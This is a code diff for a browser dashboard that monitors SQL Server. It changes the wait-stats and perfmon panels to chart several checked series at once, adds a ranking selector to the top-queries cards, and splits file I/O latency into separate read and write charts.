+/** The metrics the wait trend read carries. It has no waits-per-interval count, so the desktop's ms/wait is not offered. */
+const WAIT_METRICS = [
+  { value: "wait_time_ms_per_second", label: "Wait ms/s" },
+  { value: "signal_wait_time_ms_per_second", label: "Signal wait ms/s" },
+];
+
 /**
- * Wait Stats table + a trend for ONE wait type, chosen from a picker seeded with the heaviest.
+ * Wait Stats table + a multi-series trend over the waits the reader checks.
  *
- * The desktop viewer's Wait Stats tab is a checkbox list of wait types over a multi-series chart. This is the
- * single-select version of the same idea: the picker's options are the rows of the table directly above it,
- * heaviest first, so the reader is choosing from what they can already see rather than from a second list that
- * may disagree with it. That is also why get_wait_types is NOT read here — it returns the full distinct set,
- * which would offer wait types absent from the table and make the two disagree.
+ * The desktop viewer's Wait Stats tab is a checkbox list of wait types over a multi-series chart; this is the same
+ * idea. The picker's options are the rows of the table directly above it, heaviest first, so the reader is choosing
+ * from what they can already see rather than from a second list that may disagree with it. That is also why
+ * get_wait_types is NOT read here — it returns the full distinct set, which would offer wait types absent from the
+ * table and make the two disagree. Each checked wait is one get_wait_trend read; the checked set, the search text and
+ * the metric live in multi-picker.js's module state keyed by server, so the 60 s rebuild keeps them.
  */
 export function waitsPanel(server, ctx) {
-  const { panel, body } = panelShell("Wait Stats", ctx.label + ", with a trend for the wait you pick");
+  const { panel, body } = panelShell("Wait Stats", ctx.label + ", with a trend for the waits you check", 2, "get_wait_stats");
   (async () => {
     const res = await readToolWithinKeptHistory("get_wait_stats", { server, hours: ctx.hours, limit: 20 });
     if (res.kind === "error") return mount(body, readErrorStrip(res.message));
     if (res.kind === "empty") return mount(body, [keptWindowStrip(res), emptyStrip(res.message)]);
 
     const waits = res.data.waits || [];
-    const parts = [keptWindowStrip(res), VIZ.table(res.data, { rowsKey: "waits", columns: WAIT_COLUMNS })];
+    /* #4966: the Wait Stats grid says where its table's data starts when that is after the window's start. */
+    const parts = [keptWindowStrip(res), windowFloorStrip(res.data, { viz: "table" }), VIZ.table(res.data, { rowsKey: "waits", columns: withWaitLink(WAIT_COLUMNS, server, null) })];
 
     if (waits.length) {
       const chartSlot = el("div", {}, [loadingStrip()]);
-      const picker = pickerControl(
-        "Trend",
-        waits.map((w) => w.wait_type),
-        (waitType) => drawWaitTrend(chartSlot, server, ctx, waitType)
-      );
-      parts.push(el("div", { class: "picker-row" }, [picker]), chartSlot);
-      drawWaitTrend(chartSlot, server, ctx, waits[0].wait_type);
+      const picker = multiPicker({
+        key: "waits|" + server,
+        label: "Waits",
+        options: waits.map((w) => w.wait_type),
+        max: MAX_WAITS_CHARTED,
+        metrics: WAIT_METRICS,
+        onChange: (checked, metric) => drawWaitTrends(chartSlot, server, ctx, checked, metric),
+      });
+      parts.push(picker.node, chartSlot);
+      drawWaitTrends(chartSlot, server, ctx, picker.checked(), picker.metric());
+      mount(body, parts);
+      picker.restoreFocus();
+      return;
     }
     mount(body, parts);
   })();
@@ -216,49 +312,114 @@ function discontinuityNotes(data) {
   );
 }
 
-async function drawWaitTrend(slot, server, ctx, waitType) {
+/* The newest draw's AbortController per server (the 60 s rebuild makes a new chart slot, so the slot is no key). A new
+   draw aborts the previous one's reads, and a read that finishes after that is dropped. */
+const waitDraws = new Map();
+
+export async function drawWaitTrends(slot, server, ctx, checked, metric) {
+  const waitTypes = checked.slice(0, MAX_WAITS_CHARTED);
+  const previous = waitDraws.get(server);
+  if (previous) previous.abort();
+  const mine = new AbortController();
+  waitDraws.set(server, mine);
+  if (!waitTypes.length) {
+    mount(slot, emptyStrip("Check at least one wait to chart its trend."));
+    return;
+  }
   mount(slot, loadingStrip());
-  const trend = await readToolWithinKeptHistory("get_wait_trend", { server, wait_type: waitType, hours: ctx.hours });
-  if (trend.kind !== "data") {
-    mount(slot, trend.kind === "empty" ? [keptWindowStrip(trend), emptyStrip(trend.message)] : readErrorStrip(trend.message));
+  const results = await Promise.all(
+    waitTypes.map((waitType) => readToolWithinKeptHistory("get_wait_trend", { server, wait_type: waitType, hours: ctx.hours }, mine.signal))
+  );
+  if (waitDraws.get(server) !== mine || mine.signal.aborted) return;
+
+  const drawn = [];
+  const notes = [];
+  const kept = [];
+  let keptHours = 0;
+  const seenNotes = new Set();
+  let failed = 0;
+  results.forEach((trend, i) => {
+    const waitType = waitTypes[i];
+    if (trend.kind !== "data") {
+      if (trend.kind !== "empty") failed++;
+      notes.push(waitType + ": " + (trend.message || (trend.kind === "empty" ? "no trend data." : "the read failed.")));
+      return;
+    }
+    if (trend.keptHours) {
+      keptHours = Math.max(keptHours, trend.keptHours);
+      kept.push(trend);
+    }
+    /* #3653 A5: wait_stats is the first identity-epoch carrier, so this is the chart whose step a restart or
+       failover most directly manufactures; the payload's discontinuities render as a notice above it. They are
+       about the server, not the wait, so the same sentence from two waits shows once. */
+    for (const n of discontinuityNotes(trend.data)) seenNotes.add(n);
+    drawn.push({ key: "w" + i, label: waitType, rows: trend.data.trend || [], color: CATEGORICAL_COLORS[i % CATEGORICAL_COLORS.length] });
+  });
+
+  const failures = notes.map((n) => noticeStrip(n));
+  if (!drawn.length && !failed) {
+    mount(slot, emptyStrip("None of the " + waitTypes.length + " checked waits has trend data in this window."));
     return;
   }
-  /* #3653 A5: wait_stats is the first identity-epoch carrier, so this is the chart whose step a restart or
-     failover most directly manufactures; the payload's discontinuities render as a notice above it. */
-  const notes = discontinuityNotes(trend.data);
+  if (!drawn.length) {
+    mount(slot, [failures.length ? failures : null, errorStrip("None of the " + waitTypes.length + " checked waits returned a trend.")]);
+    return;
+  }
+  const metricLabel = (WAIT_METRICS.find((m) => m.value === metric) || WAIT_METRICS[0]).label;
   mount(slot, [
-    keptWindowStrip(trend),
-    notes.length ? noticeStrip(notes.join(" ")) : null,
-    renderLineChart({
-      points: trend.data.trend || [],
+    kept.length ? keptWindowStrip(kept[0]) : null,
+    seenNotes.size ? noticeStrip([...seenNotes].join(" ")) : null,
+    ...failures,
+    zoomableLineChart({
+      atTime: { server, item: "wait" },
+      points: mergeSeriesRows(drawn, "time", metric),
       xKey: "time",
-      series: [
-        { key: "wait_time_ms_per_second", label: "Wait ms/s", color: SERIES_COLORS[0] },
-        { key: "signal_wait_time_ms_per_second", label: "Signal ms/s", color: SERIES_COLORS[1] },
-      ],
+      series: drawn.map((d) => ({ key: d.key, label: d.label, color: d.color })),
       formatValue: (v) => Math.round(v).toLocaleString(),
       unit: "ms/s",
       /* #2802: axis spans the requested window (ctx.hours ending now), not the data's own extent. A narrowed
          read spans the hours it answered for. */
-      ...windowFromHours(trend.keptHours || ctx.hours),
-    }),
+      ...windowFromHours(keptHours || ctx.hours),
+    }, "wait-trend|" + server + "|" + metric, chartZoomScope(ctx.hours)),
+    el("div", { class: "mp-metric-note", text: metricLabel + ", one line per checked wait." }),
   ]);
 }
 
+/** The most counters the Perfmon chart draws at once: one read each, and the palette has ten colors. */
+const MAX_COUNTERS_CHARTED = 10;
+
+/** The desktop's General Throughput pack: the counters checked when the reader has not chosen any. */
+const PERFMON_DEFAULT_COUNTERS = [
+  "Batch Requests/sec",
+  "SQL Compilations/sec",
+  "SQL Re-Compilations/sec",
+  "Query optimizations/sec",
+  "Network IO waits",
+];
+
+/** The default counter set, bounded by `max` and drawn only from the counters this server holds (case-insensitive,
+    as the desktop matches them); when none of the pack is collected, the first counter in the list. */
+function perfmonDefaults(available, max) {
+  const picked = [];
+  for (const want of PERFMON_DEFAULT_COUNTERS) {
+    const hit = available.find((n) => n.toLowerCase() === want.toLowerCase());
+    if (hit && picked.length < max && !picked.includes(hit)) picked.push(hit);
+  }
+  return picked.length || !available.length ? picked : [available[0]];
+}
+
 /**
- * Perfmon counters: a picker over the counters this server actually collects, charting the chosen one.
+ * Perfmon counters: the latest snapshot's table, and a multi-series trend over the counters the reader checks.
  *
- * The desktop viewer's Perfmon tab is a searchable counter list over a multi-series chart. get_perfmon_trend
- * REQUIRES a counter_name, so without a picker the read is unreachable from the browser — which is why the
- * options come from get_perfmon_stats (the latest snapshot's counter list) rather than being hardcoded: a
- * hardcoded name is exactly how you end up charting a counter this server does not collect.
- *
- * When the trend read still comes back empty it can carry hints.collected_counters. Its message tells the
- * reader to "see hints.collected_counters", which is a JSON path no browser reader can open, so the hint list
- * is rendered here instead of being dropped.
+ * The desktop viewer's Perfmon tab is a searchable counter list over a multi-series chart, opening on the General
+ * Throughput pack. get_perfmon_trend REQUIRES a counter_name, so the options come from get_perfmon_stats (the latest
+ * snapshot's counter list) rather than being hardcoded: a hardcoded name is exactly how you end up charting a counter
+ * this server does not collect. The trend read takes a counter name and no instance, so the list is by counter name.
+ * Each checked counter is one get_perfmon_trend read; the checked set and the search text live in multi-picker.js's
+ * module state keyed by server, so the 60 s rebuild keeps them.
  */
 export function perfmonPanel(server, ctx) {
-  const { panel, body } = panelShell("Perfmon Counters", "latest snapshot, with a trend for the counter you pick");
+  const { panel, body } = panelShell("Perfmon Counters", "latest snapshot, with a trend for the counters you check", 2, "get_perfmon_stats");
   (async () => {
     const res = await readTool("get_perfmon_stats", { server });
     if (res.kind === "error") return mount(body, readErrorStrip(res.message));
@@ -271,49 +432,116 @@ export function perfmonPanel(server, ctx) {
        exact payload it would render, and a second panel would have paid for get_perfmon_stats twice to show the
        list the picker above it is built from. */
     const chartSlot = el("div", {}, [loadingStrip()]);
-    const picker = pickerControl("Counter", names, (name) => drawPerfmonTrend(chartSlot, server, ctx, name));
+    const picker = multiPicker({
+      key: "perfmon|" + server,
+      label: "Counters",
+      options: names,
+      max: MAX_COUNTERS_CHARTED,
+      noun: "counter",
+      defaultsLabel: "Default counters",
+      defaults: perfmonDefaults,
+      onChange: (checked) => drawPerfmonTrends(chartSlot, server, ctx, checked),
+    });
     mount(body, [
       VIZ.table({ ...res.data, counters: perfmonRows(res.data.counters) }, {
         rowsKey: "counters",
         columns: PERFMON_COLUMNS,
         emptyText: "No perfmon counters in the latest snapshot.",
       }),
-      el("div", { class: "picker-row" }, [picker]),
+      picker.node,
       chartSlot,
     ]);
-    drawPerfmonTrend(chartSlot, server, ctx, names[0]);
+    picker.restoreFocus();
+    drawPerfmonTrends(chartSlot, server, ctx, picker.checked());
   })();
   return panel;
 }
 
-async function drawPerfmonTrend(slot, server, ctx, counterName) {
+/* The newest Perfmon draw's AbortController per server: a new draw aborts the previous one's reads, and a read that
+   finishes after that is dropped. */
+const perfmonDraws = new Map();
+
+export async function drawPerfmonTrends(slot, server, ctx, checked) {
+  const counters = checked.slice(0, MAX_COUNTERS_CHARTED);
+  const previous = perfmonDraws.get(server);
+  if (previous) previous.abort();
+  const mine = new AbortController();
+  perfmonDraws.set(server, mine);
+  if (!counters.length) {
+    mount(slot, emptyStrip("Check at least one counter to chart its trend."));
+    return;
+  }
   mount(slot, loadingStrip());
-  const trend = await readToolWithinKeptHistory("get_perfmon_trend", { server, counter_name: counterName, hours: ctx.hours });
-  if (trend.kind === "error") return mount(slot, readErrorStrip(trend.message));
-  if (trend.kind === "empty") {
-    const hinted = trend.hints && Array.isArray(trend.hints.collected_counters) ? trend.hints.collected_counters : null;
-    mount(slot, [
-      keptWindowStrip(trend),
-      emptyStrip(trend.message),
-      hinted && hinted.length
-        ? el("div", { class: "muted", style: "margin-top:0.4rem", text: "Collected here: " + hinted.join(", ") })
-        : null,
-    ]);
+  const results = await Promise.all(
+    counters.map((counter) => readToolWithinKeptHistory("get_perfmon_trend", { server, counter_name: counter, hours: ctx.hours }, mine.signal))
+  );
+  if (perfmonDraws.get(server) !== mine || mine.signal.aborted) return;
+
+  const drawn = [];
+  const notes = [];
+  const kept = [];
+  let keptHours = 0;
+  const seenNotes = new Set();
+  let failed = 0;
+  let allRates = true;
+  results.forEach((trend, i) => {
+    const counter = counters[i];
+    if (trend.kind !== "data") {
+      if (trend.kind !== "empty") failed++;
+      /* The server's no-trend sentence points at hints.collected_counters, a JSON path a reader cannot open, so
+         the counters it holds are listed here as text instead. */
+      const collected = trend.hints && Array.isArray(trend.hints.collected_counters) ? trend.hints.collected_counters : null;
+      const said = collected && trend.message ? trend.message.replace(/\s*[—-]\s*see hints\.collected_counters.*$/, ".") : trend.message;
+      notes.push(counter + ": " + (said || (trend.kind === "empty" ? "no trend data." : "the read failed.")) + (collected && collected.length ? " Collected here: " + collected.join(", ") + "." : ""));
+      return;
+    }
+    if (trend.keptHours) {
+      keptHours = Math.max(keptHours, trend.keptHours);
+      kept.push(trend);
+    }
+    /* #3653 A5: the payload's baseline discontinuities render as a notice above the chart. They are about the
+       server, so the same sentence from two counters shows once. */
+    for (const n of discontinuityNotes(trend.data)) seenNotes.add(n);
+    const points = trend.data.trend || [];
+    /* A rate counter plots its per_second (its stored value only climbs); any other counter plots its value. */
+    const rate = points.some((p) => p && "per_second" in p);
+    if (!rate) allRates = false;
+    drawn.push({
+      key: "c" + i,
+      label: counter,
+      rows: points.map((p) => ({ time: p.time, v: rate ? p.per_second : p.value })),
+      color: CATEGORICAL_COLORS[i % CATEGORICAL_COLORS.length],
+    });
+  });
+
+  const failures = notes.map((n) => noticeStrip(n));
+  if (!drawn.length && !failed) {
+    mount(slot, emptyStrip("None of the " + counters.length + " checked counters has trend data in this window."));
+    return;
+  }
+  if (!drawn.length) {
+    mount(slot, [failures.length ? failures : null, errorStrip("None of the " + counters.length + " checked counters returned a trend.")]);
     return;
   }
-  /* #3653 A5: the payload's baseline discontinuities as a notice above the chart. */
-  const notes = discontinuityNotes(trend.data);
   mount(slot, [
-    keptWindowStrip(trend),
-    notes.length ? noticeStrip(notes.join(" ")) : null,
-    renderLineChart({
-      points: trend.data.trend || [],
+    kept.length ? keptWindowStrip(kept[0]) : null,
+    seenNotes.size ? noticeStrip([...seenNotes].join(" ")) : null,
+    ...failures,
+    zoomableLineChart({
+      atTime: { server },
+      points: mergeSeriesRows(drawn, "time", "v"),
       xKey: "time",
-      ...perfmonTrendLines(trend.data.trend || []),
+      series: drawn.map((d) => ({ key: d.key, label: d.label, color: d.color })),
+      /* Rates print through fmtRate so a small real rate never reads as 0; a chart that mixes in a gauge or an
+         average prints plain numbers, since one axis serves every line. */
+      ...(allRates
+        ? { unit: "/s", formatValue: fmtRate }
+        : { formatValue: (v) => Number(v).toLocaleString(undefined, { maximumFractionDigits: 2 }) }),
       /* #2802: axis spans the requested window (ctx.hours ending now), not the data's own extent. A narrowed
          read spans the hours it answered for. */
-      ...windowFromHours(trend.keptHours || ctx.hours),
-    }),
+      ...windowFromHours(keptHours || ctx.hours),
+    }, "perfmon-trend|" + server, chartZoomScope(ctx.hours)),
+    el("div", { class: "mp-metric-note", text: "Rate counters plot per second; other counters plot their value." }),
   ]);
 }
 
@@ -335,23 +563,6 @@ function perfmonRows(counters) {
   );
 }
 
-/* The trend chart's lines for the picked counter. A rate counter's points carry per_second, the figure the desktop
-   charts plot for it, and that is the one line: its value only climbs. Its axis and tooltip print through fmtRate,
-   so a small real rate never reads as 0. Every other counter keeps its value and delta lines and its own number
-   format, so a gauge still plots its reading. */
-function perfmonTrendLines(points) {
-  if (points.some((p) => p && "per_second" in p)) {
-    return { series: [{ key: "per_second", label: "Per second", color: SERIES_COLORS[0] }], unit: "/s", formatValue: fmtRate };
-  }
-  return {
-    series: [
-      { key: "value", label: "Value", color: SERIES_COLORS[0] },
-      { key: "delta_value", label: "Delta", color: SERIES_COLORS[1] },
-    ],
-    formatValue: (v) => Number(v).toLocaleString(undefined, { maximumFractionDigits: 2 }),
-  };
-}
-
 /**
  * Top Queries by CPU, plus that ONE query's per-collection history — the browser's per-query drill-down (#2520).
  *
@@ -374,9 +585,24 @@ function perfmonTrendLines(points) {
  * null reads as the blank it is instead of flattening a chart to a zero nobody measured.
  */
 export function topQueriesPanel(server, ctx) {
-  const { panel, body } = panelShell("Top Queries by CPU", ctx.label + ", with a per-collection trend for the query you pick");
+  return rankedCard("queries", (ranking, picker) => topQueriesCard(server, ctx, ranking, picker));
+}
+
+/* One draw of the card for one ranking (#5226): rankedCard draws it again on a pick, so the title and the rows follow the choice. */
+function topQueriesCard(server, ctx, ranking, picker) {
+  const { panel, body } = panelShell(
+    "Top Queries by " + topRankingLabel(ranking),
+    ctx.label + ", with a per-collection trend for the query you pick",
+    2,
+    "get_top_queries_by_cpu",
+    null,
+    picker
+  );
   (async () => {
-    const res = await readToolWithinKeptHistory("get_top_queries_by_cpu", { server, hours: ctx.hours, top: 20 });
+    const res = await readToolWithinKeptHistory(
+      "get_top_queries_by_cpu",
+      rankedParams({ server, hours: ctx.hours, top: 20, detail: "full" }, ranking)
+    );
     if (res.kind === "error") return mount(body, readErrorStrip(res.message));
     if (res.kind === "empty") return mount(body, [keptWindowStrip(res), emptyStrip(res.message)]);
 
@@ -384,7 +610,9 @@ export function topQueriesPanel(server, ctx) {
     const parts = [
       VIZ.table(res.data, {
         rowsKey: "queries",
-        columns: TOP_QUERY_COLUMNS,
+        columns: [...TOP_QUERY_COLUMNS, planColumn(server)],
+        groups: TOP_QUERY_GROUPS.groups,
+        defaultGroups: TOP_QUERY_GROUPS.defaultGroups,
         emptyText:
           "No query stats in this window. Delta-based collection needs at least two cycles (~30 minutes) " +
           "before it reports non-zero values.",
@@ -392,7 +620,9 @@ export function topQueriesPanel(server, ctx) {
     ];
     /* #4231: this composite calls VIZ.table directly rather than going through table()/renderPanel, so it
        misses loadPanel's automatic noteKey handling (#3278) and has to render `truncation_note` itself —
-       same field, same meaning, as the plain table() panels below it on this page. */
+       same field, same meaning, as the plain table() panels below it on this page. #5299: a reads ranking past what raw keeps carries
+       `retention_notice` as well, and readTool already put that sentence in `truncation_note`'s place (util.js localizeWindowNote), so this
+       draws the one window note and the retention notice is not drawn a second time. */
     if (typeof res.data.truncation_note === "string" && res.data.truncation_note.trim()) {
       parts.unshift(noticeStrip(res.data.truncation_note));
     }
@@ -420,7 +650,7 @@ export function topQueriesPanel(server, ctx) {
     } else if (queries.length) {
       parts.push(
         emptyStrip(
-          "None of these rows carries both a query_hash and a database name, which is what get_query_trend " +
+          "None of these rows carries both a query hash and a database name, which is what the query trend " +
             "keys on, so there is nothing here to trend."
         )
       );
@@ -445,8 +675,9 @@ async function drawQueryTrend(slot, server, ctx, query) {
 
   /* #2353: the read routes to the hourly rollup once the window reaches past the raw tier's four-day
      retention, and reports which tier answered and how far it really reached. Those sentences are rendered
-     rather than dropped, because this page's range goes to 30 days: without them the DOP and plan-hash
-     columns simply go blank, and a blank column reads as "nothing to see" rather than "not measured here". */
+     rather than dropped, because this page's range goes to 7 days, past that tier: without them the DOP and
+     plan-hash columns simply go blank, and a blank column reads as "nothing to see" rather than "not measured
+     here". */
   const notes = [];
   if (trend.data.aggregate_note) notes.push(trend.data.aggregate_note);
   /* #3653 item 17: the window floor is `window_truncated` — the page dialect's `truncated` (a limit biting,
@@ -467,7 +698,8 @@ async function drawQueryTrend(slot, server, ctx, query) {
   mount(slot, [
     keptWindowStrip(trend),
     notes.length ? noticeStrip(notes.join(" ")) : null,
-    renderLineChart({
+    zoomableLineChart({
+      atTime: { server },
       points: trend.data.trend || [],
       xKey: "collection_time",
       series: [
@@ -480,7 +712,7 @@ async function drawQueryTrend(slot, server, ctx, query) {
          starts later than the window and plots toward the right; the truncation notice above already says so.
          A narrowed read spans the hours it answered for. */
       ...windowFromHours(trend.keptHours || ctx.hours),
-    }),
+    }, "query-trend|" + query.query_hash, chartZoomScope(ctx.hours)),
     VIZ.table(trend.data, {
       rowsKey: "trend",
       columns: QUERY_TREND_COLUMNS,
@@ -494,27 +726,109 @@ async function drawQueryTrend(slot, server, ctx, query) {
  * label (a wait type, a counter name) and a {value, label} pair when it is not — the query picker's value is a
  * row index, because a query has no short name to key on and its text is far too long to be one. Both the value
  * and the label are set through el()'s text/attribute paths, so neither a counter name nor a statement captured
- * from a monitored server can become markup (R4).
+ * from a monitored server can become markup (R4). `selected` (#5226), when it names an option, is the one shown first: a choice kept
+ * across a rebuild.
  */
-function pickerControl(label, options, onPick) {
+function pickerControl(label, options, onPick, selected) {
   const items = options.map((o) => (typeof o === "string" ? { value: o, label: o } : o));
   const sel = el(
     "select",
     { class: "range-select-inline", "aria-label": label },
     items.map((o) => el("option", { value: o.value, text: o.label }))
   );
-  sel.value = items[0].value;
+  sel.value = selected !== undefined && items.some((o) => o.value === selected) ? selected : items[0].value;
   sel.addEventListener("change", () => onPick(sel.value));
   return el("label", { class: "range-control" }, [el("span", { text: label }), sel]);
 }
 
+/* ─────────── #5226: the ranking choice on the Top Queries and Top Procedures cards ─────────── */
+
+/* The rankings the server's whitelist accepts (Mcp/TopRanking.cs), in the order the selector lists them. `cpu` is the default and is
+   sent as nothing, so the request for the default page is exactly what it was before the choice existed. */
+const TOP_RANKINGS = [
+  { value: "cpu", label: "CPU" },
+  { value: "duration", label: "Duration" },
+  { value: "reads", label: "Reads" },
+  { value: "executions", label: "Executions" },
+];
+
+/* The pick, one per list, at MODULE scope so the 60 s rebuild of a tab (a new card every time) keeps it. The CPU tab and the Queries tab draw the
+   same lists, so a pick on one tab is the pick on the other. */
+const topRankingPick = { queries: "cpu", procedures: "cpu" };
+
+/* A reads ranking reads raw, or (#5329) the io hourly rollup (query_stats_io_hourly, procedure_stats_io_hourly) once that reaches the window's
+   start or reaches further back than raw, and which of them answered is the tool's business, not the page's: the stitched hourly rollups keep no logical reads, but the io
+   ones do. So the card holds no sentence of its own about the source (the one it had named raw as the only source, which is
+   false on the io route). What a reader needs from the answer is whether it covers the window, and that rides on the window note: over a
+   window past what raw keeps, a raw-routed read says so in `retention_notice`, the retention notice the composed panels carry, and a
+   partial io rollup says so in `truncation_note`. The notice is drawn above the grid as text, once: readTool puts it in the window note's
+   place (util.js localizeWindowNote, #5299), so the cards below name `truncation_note` as their one note and need no key of their own for
+   it, and a ranking is never silently partial. The tool's `precision_note` names the relation that answered for a caller of the tool. */
+
+function topRankingLabel(ranking) {
+  return (TOP_RANKINGS.find((r) => r.value === ranking) || TOP_RANKINGS[0]).label;
+}
+
+/** A read's params for a ranking: `order_by` only when the pick is not the default (cpu), so the default request is unchanged. */
+function rankedParams(params, ranking) {
+  return ranking === "cpu" ? params : { ...params, order_by: ranking };
+}
+
+/**
+ * A Top Queries or Top Procedures card (`kind` "queries" or "procedures") with its ranking selector. `build(ranking, picker)` draws the card
+ * for the current pick and puts `picker` under its title; a pick stores the choice at module scope and draws the card again, so the title
+ * ("Top Queries by Duration") and the rows follow it. Each draw aborts the one before it, as the Collection Log slot does.
+ */
+function rankedCard(kind, build) {
+  const slot = el("div", {}, []);
+  slot.style.display = "contents";
+  let drawing = null;
+  const draw = () => {
+    if (drawing) drawing.abort();
+    const mine = new AbortController();
+    drawing = mine;
+    const outer = getPanelSignal();
+    if (outer) outer.addEventListener("abort", () => mine.abort(), { once: true });
+    const ranking = topRankingPick[kind];
+    const picker = el("div", { class: "picker-row" }, [
+      pickerControl(
+        "Rank by",
+        TOP_RANKINGS,
+        (value) => {
+          topRankingPick[kind] = value;
+          draw();
+        },
+        ranking
+      ),
+    ]);
+    setPanelSignal(mine.signal);
+    const card = build(ranking, picker);
+    setPanelSignal(outer);
+    mount(slot, [card]);
+  };
+  draw();
+  return slot;
+}
+
+/**
+ * What a File I/O Latency line is, for the subtitle (#5244 PR5): exactly one chosen database draws one line per file ("per
+ * file"); every database, or two or more, draw one line per database and file type. It follows the same rule as the route
+ * (one name: per file), and only for the active server on a server page, as the chip does.
+ */
+export function fileIoGrain(server) {
+  const filter = getActiveDatabaseFilter();
+  const hash = typeof location !== "undefined" && location && typeof location.hash === "string" ? location.hash : "";
+  const one = filter && filter.server === server && hash.startsWith("#/server/") && filter.databases.length === 1;
+  return one ? "per file" : "per database and file type";
+}
+
 /**
  * File I/O latency: pivot the flat trend into one read-latency series per line. #3897: a line is a (database, file
  * type) pair — or the one "(other)" line pooling everything past the top five — so the label names both; before
  * #3897 the read projected only the database, and nine tempdb files wrote over each other in this pivot.
  */
 export function fileIoPanel(server, ctx) {
-  const { panel, body } = panelShell("File I/O Latency", "avg read latency per database and file type, " + ctx.label);
+  const { panel, body } = panelShell("File I/O Latency", "avg read and write latency " + fileIoGrain(server) + ", " + ctx.label, 2, "get_file_io_trend");
   (async () => {
     const res = await readToolWithinKeptHistory("get_file_io_trend", { server, hours: ctx.hours });
     if (res.kind === "error") return mount(body, readErrorStrip(res.message));
@@ -524,20 +838,24 @@ export function fileIoPanel(server, ctx) {
       ...r,
       line: r.database_name === r.file_type ? r.database_name : r.database_name + " " + r.file_type + (r.file_name ? " " + r.file_name : ""),
     }));
-    const { points, series } = pivot(rows, {
-      xKey: "time",
-      seriesKey: "line",
-      valueKey: "avg_read_latency_ms",
-    });
-    if (!series.length) return mount(body, [keptWindowStrip(res), emptyStrip("No file I/O samples in this window.")]);
+    /* The desktop draws read and write latency as two stacked charts over the same lines; so does this panel, one read
+       feeding both. Each chart keeps its own top series by its own peak; a bucket with no reads (or no writes) has a null figure and is left out of that chart rather than drawn as 0. */
+    const read = pivot(rows.filter((r) => r.avg_read_latency_ms != null), { xKey: "time", seriesKey: "line", valueKey: "avg_read_latency_ms" });
+    const write = pivot(rows.filter((r) => r.avg_write_latency_ms != null), { xKey: "time", seriesKey: "line", valueKey: "avg_write_latency_ms" });
+    if (!read.series.length && !write.series.length) return mount(body, [keptWindowStrip(res), emptyStrip("No file I/O samples in this window.")]);
     /* #3653 A5: the payload's baseline discontinuities as a notice above the chart. */
     const notes = discontinuityNotes(res.data);
     /* #2802: axis spans the requested window (ctx.hours ending now), not the pivoted data's own extent. A
        narrowed read spans the hours it answered for. */
+    const draw = (title, data, id, empty) =>
+      data.series.length
+        ? [el("h4", { text: title }), zoomableLineChart({ atTime: { server }, points: data.points, xKey: "time", series: data.series, formatValue: (v) => Math.round(v) + " ms", unit: "ms", ...windowFromHours(res.keptHours || ctx.hours) }, id, chartZoomScope(ctx.hours))]
+        : [el("h4", { text: title }), emptyStrip(empty)];
     mount(body, [
       keptWindowStrip(res),
       notes.length ? noticeStrip(notes.join(" ")) : null,
-      renderLineChart({ points, xKey: "time", series, formatValue: (v) => Math.round(v) + " ms", ...windowFromHours(res.keptHours || ctx.hours) }),
+      ...draw("Read latency (ms)", read, "file-io-latency", "No reads in this window."),
+      ...draw("Write latency (ms)", write, "file-io-write-latency", "No writes in this window."),
     ]);
   })();
   return panel;
@@ -570,8 +888,8 @@ export function fileIoPanel(server, ctx) {
  * calendar drawn over six hours is not a calendar.
  */
 export function dailySummaryPanels(server) {
-  const tile = panelShell("Daily Summary", "today (UTC)");
-  const calendar = panelShell("Daily Health Calendar", "last 30 days (UTC)");
+  const tile = panelShell("Daily Summary", "today (UTC)", 2, "get_daily_summary_range");
+  const calendar = panelShell("Daily Health Calendar", "last 30 days (UTC)", 2, "get_daily_summary_range");
   (async () => {
     const res = await readTool("get_daily_summary_range", { server, days_back: 30 });
     if (res.kind === "error") {
@@ -601,6 +919,8 @@ export function dailySummaryPanels(server) {
       const grid = VIZ.table(data, {
         rowsKey: "days",
         columns: DAILY_RANGE_COLUMNS,
+        /* Click-through 10: newest day first, as the other grids open. */
+        orderRows: newestFirst("summary_date"),
         emptyText:
           "No collected days in this range. A day with ANY collection appears here even when every signal was quiet, so a missing day is a gap in collection rather than a quiet one.",
       });
@@ -669,10 +989,22 @@ function pivot(rows, { xKey, seriesKey, valueKey }, maxSeries = 8) {
  *
  * `moreNoteKeys` is a list of further fields on the same response, each rendered as its own note beneath the
  * `noteKey` one; an empty or absent value draws nothing. Optional, like `noteKey`.
+ *
+ * `columnGroups` ({ groups: [names], defaultGroups: [names] }) is for a wide grid: a column with `group: "<name>"`
+ * is shown only while its group's toggle is on, and the ungrouped columns are always shown (see vizTable's
+ * columnPicker).
+ *
+ * `dbScope` ("server", "unfiltered" or "process-rows") is the panel's own database-scope chip when it differs from its
+ * read's class (#5245); null takes the read's class. Deadlock Graphs declares "process-rows" here (#5244): each graph stays whole
+ * and its process rows follow the database filter.
+ * `control` (#5226) is a node drawn under the title, before the rows: the ranking selector on the Top Queries and Top Procedures cards.
  */
-function table(title, read, params, rowsKey, columns, subtitle, emptyText, span = 2, noteKey = null, moreNoteKeys = null) {
+function table(title, read, params, rowsKey, columns, subtitle, emptyText, span = 2, noteKey = null, moreNoteKeys = null, columnGroups = null, control = null, dbScope = null, extensionMissingLine = null) {
   if (!emptyText) throw new Error("table(" + title + "): a table panel must explain its own empty state.");
-  return renderPanel({ title, subtitle, read, params, viz: "table", rowsKey, columns, emptyText, moreNoteKeys, span, noteKey });
+  const desc = { title, subtitle, read, params, viz: "table", rowsKey, columns, emptyText, moreNoteKeys, span, noteKey, dbScope, extensionMissingLine };
+  if (columnGroups) Object.assign(desc, { groups: columnGroups.groups, defaultGroups: columnGroups.defaultGroups });
+  if (control) desc.control = control;
+  return renderPanel(desc);
 }
 
 /**
@@ -689,6 +1021,16 @@ function stat(title, read, params, stats, subtitle, span = 1, emptyText) {
   return renderPanel({ title, subtitle, read, params, viz: "stat", stats, span, emptyText });
 }
 
+/**
+ * stat() for a tile that shows the newest values a windowed read holds and none of its window figures (#4966): the read's
+ * partial-window note belongs to the panels that draw the figures, so this tile draws none. The freeze headroom and xmin
+ * horizon tiles on the PostgreSQL Overview are the cases: the worst database and the winning holder are the latest reading,
+ * and the window peaks and win shares sit in the grids beside the same tiles on the Vacuum tab.
+ */
+function momentStat(title, read, params, stats, subtitle, span = 1, emptyText) {
+  return renderPanel({ title, subtitle, read, params, viz: "stat", stats, span, emptyText, windowNote: false });
+}
+
 /**
  * A line panel over a read's row array. `opts.emptyText` is REQUIRED for the same reason table()'s is: without
  * a sentence, a read whose empty array means the thing simply did not happen inherits renderLineChart's
@@ -711,7 +1053,15 @@ function line(title, read, params, rowsKey, xKey, series, opts = {}) {
     format: opts.format,
     unit: opts.unit,
